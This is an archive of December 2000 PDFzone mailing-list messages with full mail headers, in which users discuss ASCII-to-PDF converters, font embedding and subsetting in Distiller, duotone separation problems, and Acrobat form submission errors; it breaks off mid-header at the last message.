text/plain; charset=""us-ascii"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ >and then convert it to PDF, although it would be a lot easier and preferable >if there was a method to go directly from ASCII to PDF. Check places like our host, www.pdfzone.com There are several utilities around for converting directly from plain ascii to PDF. Gymnast is one, ISTR that Sanface Software has others. Steve Rindsberg President, RDP - a slide imaging service bureau http://www.rdpslides.com Developers of ZAP! Customizable online ordering software for service bureaus http://www.rdpslides.com/zap/ Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 2-Dec-2000 3:35:23-GMT,3215;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id UAA03633 for ; Fri, 1 Dec 2000 20:35:22 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id VAA16230; Fri, 1 Dec 2000 21:24:33 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 1 Dec 2000 21:18:54 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id VAA16030; Fri, 1 Dec 2000 21:18:52 -0600 Received: from web3707.mail.yahoo.com (web3707.mail.yahoo.com [204.71.203.136]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id VAA16026 for ; Fri, 1 Dec 2000 21:18:50 -0600 Message-ID: <20001202031839.1040.qmail@web3707.mail.yahoo.com> Received: from [216.160.172.6] by web3707.mail.yahoo.com; Fri, 01 Dec 2000 19:18:39 PST Date: Fri, 1 Dec 2000 19:18:39 -0800 (PST) From: Ivy Wood Subject: [PDF] feedback needed regarding PDF specs To: PDF Zone discuss MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello to my fellow PDFers. I sure enjoyed meeting some of you in San Diego at the .PDF 2000 conference! I need your help. I have to massage PDFs that are created by parties other than myself. The problem is that many of these alien PDFs have been optimized for the press but I need to use them for a desktop printing environment. I have created a guidelines document for the marketing manager of our company. He intends to include this document along with our legal agreements with these third party companies (where the alien PDFs come from). I want to make sure that my guidelines are correct. You can help by checking out the web page I just threw together of my document and giving me some feedback. Ignore the bracketed comments that are intended for my co-workers, Rich and Peter. While looking over my guidelines, take into account that I have discovered that most of the alien PDFs are created on Macs using Quark. I work on Windows 98, therefore comments specific to Mac to Windows issues including fonts will be appreciated. Do you agree with my Distiller settings? http://www.concentric.net/~Ivyjeff/WebWorks/ Thanks a bunch! PDFers unite! ===== Ivy Wood Content Developer 303-440-8833 ext. 125 www.streampoint.com work: ivyw@streampoint.com personal: ivy_wood@yahoo.com family: IvyJeff@concentric.net __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 2-Dec-2000 21:56:40-GMT,7599;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA21452 for ; Sat, 2 Dec 2000 14:56:38 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA23608; Sat, 2 Dec 2000 15:47:11 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 2 Dec 2000 15:35:39 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA23175; Sat, 2 Dec 2000 15:35:34 -0600 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA23164; Sat, 2 Dec 2000 15:35:30 -0600 Received: from [165.121.116.246] (user-2init7m.dialup.mindspring.com [165.121.116.246]) by mclean.mail.mindspring.net (8.9.3/8.8.5) with SMTP id QAA17051; Sat, 2 Dec 2000 16:35:26 -0500 (EST) Message-Id: <200012022135.QAA17051@mclean.mail.mindspring.net> Subject: [PDF] Re: Fonts, embed, outline, Date: Sat, 2 Dec 2000 04:33:14 -0400 x-sender: mikejahn@pop.mindspring.com x-mailer: Claris Emailer 2.0v3, January 22, 1998 From: mikejahn To: , Mime-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ on 12/1/00 8:39 PM, Don Montalvo wrote; >I disagree with the following statement on your URL: > >*** regarding - Ivy Woods -------- >Because they will always be installed on the client=92s machine >when Acrobat Reader or Business Tools is installed, never embed >the Base 14 fonts: >*** > Don writes; ------------ >Ivy, > >We never want to take the chance that a version of a basic font >will be different...resulting in reflow and other problems. We >removed all fonts from the ""never embed"" list so everything >embeds. Subsetting is the same as yours, at 100%) Okay - let me offer a different perspective. (samll comment - PDF files never ""re-flow"" - the font might ""change"" - like, if the font is not embeded, the characters might switch from 'Bodoni' to ""Courier"" or Multiple Masters kicks in and does its best, but PDFs don't ""reflow"" like PostScript files can when processed (or Quark or Word can do) As a prepress system developer, we found that people generally fall into four catagories on this issue of fonts and embedding/subsetting. [1] NEVER EMBED - some font manufacturers wish that this was more or less impossible, hoping that people would need to buy the fonts at both ends - in one case, we have a proposal where the PDF making gadget that might embed or subset the font requires a dongle to run and embeds a ""key"" insides the PDF that requires that the reciever ALSO has the dongle at the RIP, so, even though the RIP does NOT require the font to process the file, the font manufacturer is assured that they RIP owner has purchase the font (or the right to ""use"" the font - and before you say ""gee, thats dumb!"" consider that some languages have over 10,000 characters/glyphs in the font! (- just be happy that we don't have more than 256 characters for a font in the US!) SO, in these cases, you would NEVER consider embeding the entire font - you would almost always subset, and sometimes (as in the case i describe above) both parties might do themselves a BIG favor and use the same font, and never embed any font infomation. [2] EMBED THE ENTIRE FONT, NEVER SUBSET - some design people would like to embed the entire font, so if there are any last minute changes, these can be accomplished without any heroics - some font manufacturers seem to think this unfair, as this enables people whom might recieve such a PDF with editable embeded fonts to be able to use the font without owning the font (which from my perspective, is silly, since the Acrobat Touch up too only lets you work on a line at a time, and if you tried to open the PDF into Illustrator and did not have the font installed, all sorts of chaos ensues... So, in this case, as a buyer of design, I always INSIST that the people designing brochures ALWAYS use Type1 fonts (which are always embedable), NEVER use TrueType (which can contain ""flags"" that diable embeding, downloading or outlineing), and ALWAYS embed ALL fonts, and NEVER Subset - and i assume that the people whom they exchange these PDF files will take care to make sure they Process/Print/ these PDFs as they are intended to be Processed/Printed - using the FONTS THAT ARE EMBEDED. [3] ALWAYS EMBED, ALWAYS SUBSET - okay, so [2] is utopia, but sometimes we NEVER want ANY editing, even non-intended/inadvertant changes (font subsitution when RIPing if the font is NOT embeded, or even if it IS EMBEDED someone can indeed ""PROCESSES/PRINTS it incorectly) - so i guess thats why the Associated Press, with its AP ADSEND service, (where they offer a service for advertisers to exchange Ads with newspapers here in the US) insists that you subset - this is especially true when you have old systems, they are paginating the ads (placing one PDF into another document, sometimes Quark, sometime another PDF) - this is indeed the second most safest method... [4] OUTLINEwhen i don't want anyone even thinking about editing the text in a document, even when they INTEND to try, and don't even want them to do ANYTHING but be able to print it (and not even let them select text and paste into some other document like an email, you can do several things - one, you can outline the text (some authoring/design applications let you do this (like Illustrator) some Printer drivers on some platforms (and from within the print dialog boxes) enable you to do this (Corel on Windows, for example) - as well, you can turn on Security (either in Distiller or when you ""save as"" a new PDF from Exchange) where you only allow opening the document and printing - no changing the document, no selecting text and graphics, no adding and changing note and form fields...this way, when you go to under the Acrobat File menu and select Document Info"" > Fonts > - it says NONE. no substitution or relow possibilities there! Our PDF making product, Agfa Apogee Create, does not allow subsetting, but will ONLY successfully create a PDF if all the fonts are present and accounted for, as we will ""fail"" a PostScript file that requires fonts that are not able to be embeded - we felt that the best was to go was to embed the entire font that the document requires, as it affords the best of options of reliable exchange and last minute edting. you can try a fully featured, nothing disabled version of Agfa Apogee Create free for thirty days by downloading it from; http://www.agfa.com/create/ I guess everybodys right. but sometimes they disagree. hope this helps. Michael Jahn Apogee Create Product Manager Agfa corporation 200 Balardvale Street MS 200-4-5H WIlmington, MA 01887-1069 http://www.agfa.com/create/ http://www.jahn.org/ P: 978-284-5504 F: 978.657.8984 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 4-Dec-2000 2:46:41-GMT,3989;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id TAA03758 for ; Sun, 3 Dec 2000 19:46:40 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA14885; Sun, 3 Dec 2000 20:12:23 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 3 Dec 2000 20:01:47 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id UAA14193; Sun, 3 Dec 2000 20:01:43 -0600 Received: from facs.org (facs.org [204.242.159.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA14189 for ; Sun, 3 Dec 2000 20:01:41 -0600 Received: by firegate.facs.org id <119071>; Sun, 3 Dec 2000 19:50:34 -0600 Message-Id: <00Dec3.195034cst.119071@firegate.facs.org> From: ""Brent A. Blumenstein"" Organization: American College of Surgeons Oncology Group X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Re: (PDF) ASCII to PDF References: <4194978129@facs.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Sun, 3 Dec 2000 19:50:34 -0600 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I found a utility over a year ago variously named txt2pdf or text2pdf. I just did a web search for text2pdf and it is still around. It is simply indispensible in my work. pdf@lists.pdfzone.com wrote: > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Can anyone suggest a way to convert an ASCII file (straight text) to PDF? > We use FrameMaker 5.5.6 and also have MS Word loaded on our PCs. > I'm guessing the best way is to bring the file into FrameMaker > and then convert it to PDF, although it would be a lot easier and preferable > if there was a method to go directly from ASCII to PDF. > > Thanks in advance for any help or advice. > > Kevin Oates > Senior Publications Analyst > United Space Alliance > Kennedy Space Center, FL > (321) 861-7995 > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- -- Brent A. Blumenstein | e-mail: bblumenstein@facs.org American College of Surgeons | office: 312 202 5433 Oncology Group (ACOSOG) | fax: 312 202 5011 633 N. Saint Clair St. | cell: 206 390 0081 Chicago, IL 60611-3211 USA | text page: 2063900081@mobile.att.net -----------------------------| # page: 312 457 1829 ACOSOG: www.acosog.org | (rev. 20001203) ------------------------------------------------------------------- STARTING IN MID-DECEMBER: ------------------------------------------------------------------- Brent A. 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After running through Distiller 4.0 using press specifications I had varying results. 7 of the images distilled properly, the other 5 distilled as Cyan only. Solution: ??? Please help as this project is past due. Thanks, Pete Prep Inc. Buffalo, N.Y. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 4-Dec-2000 16:48:04-GMT,2307;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA20152 for ; Mon, 4 Dec 2000 09:48:02 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA14787; Mon, 4 Dec 2000 10:48:00 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 4 Dec 2000 10:42:12 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA14443; Mon, 4 Dec 2000 10:42:11 -0600 Received: from megamail.dsl.net (megamail.dsl.net [209.87.64.97]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA14436 for ; Mon, 4 Dec 2000 10:42:10 -0600 Received: from goprep.com (64-51-1-106.client.dsl.net [64.51.1.106]) by megamail.dsl.net (8.9.3/8.9.3) with ESMTP id LAA15481 for ; Mon, 4 Dec 2000 11:42:08 -0500 Message-ID: <3A2BCAC3.8B10E701@goprep.com> Date: Mon, 04 Dec 2000 11:48:39 -0500 From: cjmarch X-Mailer: Mozilla 4.73 (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Inconsistent duo-tone results Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Situation: 12 duo-tones (Black & PMS 2587 CV) created in Photoshop 5.0.2 using a consistent method. After running through Distiller 4.0 using press specifications I had varying results. 7 of the images distilled properly, the other 5 distilled as Cyan only. Solution: ??? Please help as this project is past due. Thanks, Pete Prep Inc. Buffalo, N.Y. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 4-Dec-2000 16:48:34-GMT,7162;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA20164 for ; Mon, 4 Dec 2000 09:48:33 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA14828; Mon, 4 Dec 2000 10:48:31 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 4 Dec 2000 10:43:09 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA14485; Mon, 4 Dec 2000 10:43:07 -0600 Received: from mpukbdc.mpuk ([212.134.158.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA14481 for ; Mon, 4 Dec 2000 10:43:05 -0600 Received: by MPUKBDC with Internet Mail Service (5.5.2650.21) id ; Mon, 4 Dec 2000 16:39:00 -0000 Message-ID: <61CA76763D8FD4119D0700508B2C3D5904B513@MPUKBDC> From: Atik Miah To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Inconsistent duo-tone results Date: Mon, 4 Dec 2000 16:38:55 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Photoshop Duotone Looks Different or Separates Incorrectly After Converting to PDF Issue After you create a PDF file from a document that contains an Adobe Photoshop Duotone image, the Duotone image in the PDF file looks distorted or inverted, is missing spot colors, or separates incorrectly. Solutions Do one or more of the following: Solution 1 If you're using Adobe Acrobat Distiller 4.0, re save the Duotone file in Photoshop 5.0.2 or later with transfer functions included, and then re-create the PDF file: 1. Open the EPS file in Photoshop 5.0.2 or later. 2. Choose File > Save As. 3. In the EPS Options dialog box, select the Include Transfer Function option, and then click OK. 4. Re-create the PDF file. Solution 2 If you're using Acrobat Distiller 3.0x, re save the Duotone file in Photoshop 4.0 or later with transfer functions included, and then re-create the PDF file with the transfer functions applied: 1. Open the EPS file in Photoshop 4.0 or later. 2. Choose File > Save As. 3. In the EPS Options dialog box, select the Include Transfer Function option, and then click OK. 4. Change Acrobat Distiller's Job Options to apply transfer functions: Choose Distiller > Job Options, click the Advanced tab, choose Apply from the Transfer Functions pop-up menu, and then click OK. 5. Re-create the PDF file. Solution 3 If you're using Acrobat Distiller 3.0x, choose Distiller > Job Options, click the Advanced tab, de select Convert CMYK Image To RGB, and then re-create the PDF file. Solution 4 If you are creating the PDF file from an Adobe PageMaker publication, place no more than one Duotone image on a page in PageMaker and then re-create the PDF file. Solution 5 If the Duotone image contains spot colors and they are missing from the PDF file, do one of the following: - Re-create the PDF file using Acrobat Distiller 4.0 and select the Screen optimized or Press optimized job option. - Print the Duotone image as a separated Postscript file from Photoshop; or, place the Duotone image into a page layout application (e.g., PageMaker) and print it as a separated Postscript file. Then, distill the Postscript file containing the color separations. The resulting PDF file contains one page for each separation plate. Additional Information A Duotone has a two-component color space, which is represented in Postscript Language level 3 and in PDF 1.3 as a device-n color space. Photoshop 4.0.x and 5.0 do not use the device-n color space for duo tones. Instead, they save duotones in the CMYK color space with a set of four transfer functions, one each for C, M, Y, and K. Photoshop 5.0.2 and 5.5, by comparison, use the device-n color space for duotones and therefore don't include transfer functions with duotones. Acrobat Distiller 3.0x does not directly support duotone separations: If it converts a duotone image from Photoshop 4.0.x or 5.0, it must convert a duotone file into CMYK images using the file's transfer functions. When Apply is chosen from the Transfer Functions pop-up menu in Acrobat Distiller 3.0x's Job Options dialog box, Acrobat Distiller 3.0x converts the duotone data to CMYK data for both on-screen display and printing, and duotone files in the resulting PDF file appear and print with the correct colors. When Remove is chosen from the Transfer Functions pop-up menu, Acrobat Distiller 3.0x ignores transfer functions in duotone files, causing the files to appear and print with inverted colors. When Preserve is chosen from the Transfer Functions pop-up menu, Acrobat Distiller 3.0x preserves transfer functions, but it utilizes them only when printing, causing the duotone files to appear with inverted colors. (Please note that using the Preserve option for PDF files you intend to print is not recommended, since some PostScript printers may ignore transfer functions embedded in images in larger PostScript files.) By default, the Convert CMYK Images to RGB option is enabled in Acrobat Distiller 3.0x. This option helps reduce PDF file size and improves the speed with which a PDF file opens, because less information is needed to describe an RGB image than a CMYK image. Acrobat Distiller 3.0x may incorrectly convert the colors for a duotone image created in Photoshop. Acrobat Distiller 4.0 supports duotones that include transfer functions and it automatically applies transfer functions. Acrobat Distiller 4.0 supports duotones only from Photoshop 5.0 or later, however. -----Original Message----- From: cjmarch [mailto:prepress@goprep.com] Sent: 04 December 2000 16:25 To: pdf@lists.pdfzone.com Subject: [PDF] Inconsistent duo-tone results The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Situation: 12 duo-tones (Black & PMS 2587 CV) created in Photoshop 5.0.2 using a consistent method. After running through Distiller 4.0 using press specifications I had varying results. 7 of the images distilled properly, the other 5 distilled as Cyan only. Solution: ??? Please help as this project is past due. Thanks, Pete Prep Inc. Buffalo, N.Y. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 4-Dec-2000 17:32:47-GMT,8399;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA21625 for ; Mon, 4 Dec 2000 10:32:46 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA17494; Mon, 4 Dec 2000 11:32:03 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 4 Dec 2000 11:25:43 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA17135; Mon, 4 Dec 2000 11:25:42 -0600 Received: from smtp.rainiercolor.com (rainiercolor.com [207.109.65.241] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA17131 for ; Mon, 4 Dec 2000 11:25:35 -0600 Received: by smtp.rainiercolor.com from localhost (router,SLMail V2.7); Mon, 04 Dec 2000 09:23:57 -0800 Received: by smtp.rainiercolor.com from rsmserver (192.168.1.243::mail daemon; unverified,SLMail V2.7); Mon, 04 Dec 2000 09:23:57 -0800 Message-ID: <005c01c05e17$98fead60$f301a8c0@RAINIER> From: ""Chuck Thornburg"" To: References: <61CA76763D8FD4119D0700508B2C3D5904B513@MPUKBDC> Subject: Re: [PDF] Inconsistent duo-tone results Date: Mon, 4 Dec 2000 09:28:20 -0800 Organization: Rainier Color Inc. MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ You need to check the ""PostScript Color Management"" box when saving the eps from PShop in addition to the below mentioned fixes. Chuck ----- Original Message ----- From: ""Atik Miah"" To: Sent: Monday, December 04, 2000 8:38 AM Subject: RE: [PDF] Inconsistent duo-tone results > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Photoshop Duotone Looks Different or Separates Incorrectly After > Converting to PDF > > Issue > After you create a PDF file from a document that contains an Adobe > Photoshop Duotone image, the Duotone image in the PDF file looks > distorted or inverted, is missing spot colors, or separates > incorrectly. > > Solutions > Do one or more of the following: > > Solution 1 > If you're using Adobe Acrobat Distiller 4.0, re save the Duotone file > in Photoshop 5.0.2 or later with transfer functions included, and > then re-create the PDF file: > 1. Open the EPS file in Photoshop 5.0.2 or later. > 2. Choose File > Save As. > 3. In the EPS Options dialog box, select the Include Transfer > Function option, and then click OK. > 4. Re-create the PDF file. > > Solution 2 > If you're using Acrobat Distiller 3.0x, re save the Duotone file in > Photoshop 4.0 or later with transfer functions included, and then > re-create the PDF file with the transfer functions applied: > 1. Open the EPS file in Photoshop 4.0 or later. > 2. Choose File > Save As. > 3. In the EPS Options dialog box, select the Include Transfer > Function option, and then click OK. > 4. Change Acrobat Distiller's Job Options to apply transfer > functions: Choose Distiller > Job Options, click the Advanced tab, > choose Apply from the Transfer Functions pop-up menu, and then click > OK. > 5. Re-create the PDF file. > > Solution 3 > If you're using Acrobat Distiller 3.0x, choose Distiller > Job > Options, click the Advanced tab, de select Convert CMYK Image To RGB, > and then re-create the PDF file. > > Solution 4 > If you are creating the PDF file from an Adobe PageMaker publication, > place no more than one Duotone image on a page in PageMaker and then > re-create the PDF file. > > Solution 5 > If the Duotone image contains spot colors and they are missing from > the PDF file, do one of the following: > - Re-create the PDF file using Acrobat Distiller 4.0 and select the > Screen optimized or Press optimized job option. > - Print the Duotone image as a separated Postscript file from > Photoshop; or, place the Duotone image into a page layout application > (e.g., PageMaker) and print it as a separated Postscript file. Then, > distill the Postscript file containing the color separations. The > resulting PDF file contains one page for each separation plate. > > Additional Information > A Duotone has a two-component color space, which is represented in > Postscript Language level 3 and in PDF 1.3 as a device-n color space. > Photoshop 4.0.x and 5.0 do not use the device-n color space for duo > tones. Instead, they save duotones in the CMYK color space with a set > of four transfer functions, one each for C, M, Y, and K. Photoshop > 5.0.2 and 5.5, by comparison, use the device-n color space for > duotones and therefore don't include transfer functions with duotones. > > Acrobat Distiller 3.0x does not directly support duotone separations: > If it converts a duotone image from Photoshop 4.0.x or 5.0, it must > convert a duotone file into CMYK images using the file's transfer > functions. When Apply is chosen from the Transfer Functions pop-up > menu in Acrobat Distiller 3.0x's Job Options dialog box, Acrobat > Distiller 3.0x converts the duotone data to CMYK data for both > on-screen display and printing, and duotone files in the resulting > PDF file appear and print with the correct colors. When Remove is > chosen from the Transfer Functions pop-up menu, Acrobat Distiller > 3.0x ignores transfer functions in duotone files, causing the files > to appear and print with inverted colors. When Preserve is chosen > from the Transfer Functions pop-up menu, Acrobat Distiller 3.0x > preserves transfer functions, but it utilizes them only when > printing, causing the duotone files to appear with inverted colors. > (Please note that using the Preserve option for PDF files you intend > to print is not recommended, since some PostScript printers may > ignore transfer functions embedded in images in larger PostScript > files.) > > By default, the Convert CMYK Images to RGB option is enabled in > Acrobat Distiller 3.0x. This option helps reduce PDF file size and > improves the speed with which a PDF file opens, because less > information is needed to describe an RGB image than a CMYK image. > Acrobat Distiller 3.0x may incorrectly convert the colors for a > duotone image created in Photoshop. > > Acrobat Distiller 4.0 supports duotones that include transfer > functions and it automatically applies transfer functions. Acrobat > Distiller 4.0 supports duotones only from Photoshop 5.0 or later, > however. > > -----Original Message----- > From: cjmarch [mailto:prepress@goprep.com] > Sent: 04 December 2000 16:25 > To: pdf@lists.pdfzone.com > Subject: [PDF] Inconsistent duo-tone results > > > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Situation: 12 duo-tones (Black & PMS 2587 CV) created in Photoshop 5.0.2 > using a consistent method. > After running through Distiller 4.0 using press > specifications I had varying results. 7 of the > images distilled properly, the other 5 distilled as Cyan > only. > > Solution: ??? Please help as this project is past due. > > Thanks, > Pete > Prep Inc. > Buffalo, N.Y. > > > Receive the latest PDF News in your Inbox. > > -------------------------------------------------------------------------- -- > > Receive the latest PDF News in your Inbox. > > -------------------------------------------------------------------------- -- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 4-Dec-2000 20:14:57-GMT,3222;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA27506 for ; Mon, 4 Dec 2000 13:14:56 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA25329; Mon, 4 Dec 2000 14:14:49 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 4 Dec 2000 14:07:17 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA24502; Mon, 4 Dec 2000 14:07:09 -0600 Received: from prserv.net (out4.prserv.net [32.97.166.34]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA24497 for ; Mon, 4 Dec 2000 14:07:08 -0600 Received: from utm.com ([32.97.239.17]) by prserv.net (out4) with SMTP id <2000120420065820405aaseqe>; Mon, 4 Dec 2000 20:07:01 +0000 Message-ID: <3A2BF9DE.5AA5E51B@utm.com> Date: Mon, 04 Dec 2000 12:09:02 -0800 From: Jim Merante Organization: Utility Trailer Mfg. Co. X-Mailer: Mozilla 4.7 [en] (Win95; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Using Acrobat to submit forms References: <61CA76763D8FD4119D0700508B2C3D5904B513@MPUKBDC> <005c01c05e17$98fead60$f301a8c0@RAINIER> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ We have created a handbook that is available to our coordinators via a Windows 2000 server and thin clients. On forms that we would like them to submit � time off, work schedule changes, time cards, etc. we created separate 1-page pdf so the could mailto the management team there fdf's and the management team could view the data in the acrobat document on their client. What we have found it is that we no idea how to make this work. first, the client users get the following error message ""You need to be running inside a web browser in order to submit this form"". sounds easy, but how do I make sure that the acrobat document opens in a web browser? Is there a setting for this? (we have the netscape communicator / messenger system installed company-wide.) Second, My computer opens up the sent forms no problem, my boss's computer opens them up no problem, but my boss's boss's computer gives an error message to the effect of where is the pdf that should be used to view the fdf data. (If you need exact error message, I can recreate the scenario). I am not nor will I ever be authorized to spend money on this. Any help is appreciated -- Jim Merante Utility Trailer Mfg. Dealer Information Systems Administrator 626-854-7341 jmerante@utm.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 4-Dec-2000 22:02:57-GMT,3564;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA00985 for ; Mon, 4 Dec 2000 15:02:56 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA31611; Mon, 4 Dec 2000 16:02:42 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 4 Dec 2000 15:56:27 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA31259; Mon, 4 Dec 2000 15:56:25 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA31255 for ; Mon, 4 Dec 2000 15:56:23 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id VAA25230 for ; Mon, 4 Dec 2000 21:56:28 GMT From: ""Aandi Inston"" 